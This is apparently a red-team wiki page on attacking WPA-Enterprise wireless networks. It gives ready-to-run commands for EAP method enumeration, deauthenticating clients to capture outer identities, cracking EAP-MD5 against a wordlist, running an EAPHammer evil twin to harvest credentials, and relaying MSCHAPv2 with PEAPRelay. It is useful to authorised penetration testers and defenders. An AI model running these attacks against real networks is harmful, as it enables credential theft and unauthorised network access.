> For the complete documentation index, see [llms.txt](https://jotter.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jotter.gitbook.io/red-team/wireless/wpa-enterprise.md).

# WPA-Enterprise

WPA-Enterprise handles authentication via a RADIUS server. Clients connect to the AP, coordinate encryption and authentication methods, and then the client submits a username/password combo or authentication certificate. The AP forwards to the RADIUS server for authentication.

**Identify Authentication Methods**

An important step is to understand which EAP authentication methods are in use by the SSID. Observe handshakes and analyze them in Wireshark or EAPHunter:

```
sudo python3 eaphunter.py authmethods -e <SSID> -i <iface> [-s <secs>] [-t <secs>] [-o <dir>]
```

You can also check specific authentication methods supported for each user identity. Some users might support weaker, cleartext password protocols.

```
sudo python3 eaphunter.py checkuser -e <SSID> -i <iface> -I <identity> [--cleartext] [-o <dir>]            … SUPPORTED
```

**Outer PEAP Identities**

If PMKID caching is disabled (or has a very low TTL), we can deauthenticate or snoop on users to examine outer PEAP handshakes. These contain unencrypted PEAP outer identities, and can reveal usernames or domains.

```
 eaphunter.py userenum -e <SSID> -i <interface> [-c <secs>] [-o <dir>]
  [!] Sending deauth frames  ->  6c:40:08:bb:23:f7
  [+] EAP Identity  : jsmith@htb-corp.local
  [+] Pcap saved: eap_handshake_6c4008bb23f7.pcap  (847 packets)
```

**EAP-MD5**

EAP-MD5 can be trivially cracked provided you have observed an EAPOL handshake.

```
echo 776b900e685dea0230b41eec2010535c | sed 's/\(..\)/\1:/g;s/:$//'
Request Challenge = -C, Response Challenge = -R, Request ID = -E, Identity = -U
eapmd5pass -w /opt/rockyou.txt -U administrator -C 77:6b:90:0e:68:5d:ea:02:30:b4:1e:ec:20:10:53:5c -R 05:4e:a5:87:06:a5:2f:0c:95:fc:47:cc:f1:1e:b5:a1 -E 173
```

**Evil Twin Attack**

You can use EAPHammer to launch a malicious AP and intercept hashed or even cleartext credentials, depending on EAPOL methods in use.

```
/opt/eaphammer/eaphammer --cert-wizard
/opt/eaphammer/eaphammer --interface wlan1 --negotiate balanced --wpa-version 2 --auth wpa-eap --essid HTB-Corp --creds
```

**Relaying EAP-MSCHAPv2**

EAP-MSCHAPv2 relies upon Net-NTLMv1 which is vulnerable to relay attacks. You can [directly forward PEAP authentication](https://github.com/jakeotte/PEAPRelay) to the targeted AP and achieve an authenticated session.

```
sudo python3 peaprelay.py -e <ESSID> -t <twin-iface> -r <relay-iface> [options]
```